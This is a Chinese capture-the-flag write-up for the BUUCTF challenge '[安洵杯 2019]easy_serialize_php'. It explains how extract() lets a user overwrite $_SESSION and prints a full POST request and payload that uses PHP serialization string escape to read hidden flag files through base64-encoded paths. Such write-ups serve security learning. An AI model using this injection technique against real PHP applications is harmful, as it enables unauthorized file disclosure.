BUUCTF [安洵杯 2019]easy_serialize_php 1

打开题目,看到一串php代码,试着代码审计一下,看一下有用信息

可以看出是通过$_SESSION['img']来读取文件

extract可以将数组中的变量导入当前变量表

也就是说我们可以伪造$_SESSION 数组中的所有数据

这里传递一个参数f=phpinfo

先用hackbar进行post传参试试

然后直接抓包

POST /index.php HTTP/1.1

Host: 8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 142

Origin: http://8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81

Connection: close

Referer: http://8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81/index.php?f=highlight_file

Upgrade-Insecure-Requests: 1

_SESSIONuser=flagflagflagflagflagphp&_SESSIONfunction=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image

post传参

_SESSIONuser=flagflagflagflagflagphp&_SESSIONfunction=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image,逃逸

对d0g3_f1ag.php进行base64编码得到ZDBnM19mMWFnLnBocA==,填入burp

读取

替换编码_SESSIONuser=flagflagflagflagflagphp&_SESSIONfunction=";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}&function=show_image得到flag

相关推荐
zmzb010320 分钟前
C++课后习题训练记录Day176
开发语言·c++
Rabitebla25 分钟前
C++ STL 之 set 详解:从底层红黑树到实际应用
开发语言·数据结构·c++·算法·leetcode
520拼好饭被践踏28 分钟前
JAVA+Agent学习day26
java·开发语言·数据结构·学习·agent
157092511341 小时前
优先队列:从Java源码到实战
开发语言·python
jinyishu_1 小时前
C++继承与多态进阶
开发语言·c++·程序人生
程序猿编码1 小时前
用 C++ 从零写一个能训练的 GPT:标量自动微分 + Arena 内存池
开发语言·c++·gpt·transformer·模型推理
小灰灰搞电子2 小时前
Qt 队列容器 QQueue 的详解与示例
开发语言·qt·qqueue
ACP广源盛139246256732 小时前
GSV6155@ACP# Type-C 视频信号转换芯片:技术架构、工程痛点适配与落地场景分析
大数据·c语言·开发语言·人工智能·分布式·嵌入式硬件·架构
程序员-Benothing2 小时前
Java集合:List实现类深度对比
java·开发语言·后端·面试·list
酷在前行2 小时前
【R论文复刻】Nature Communications 冲积图进阶:状态转移、流带排序与多面板排版(保姆级教程)
开发语言·r语言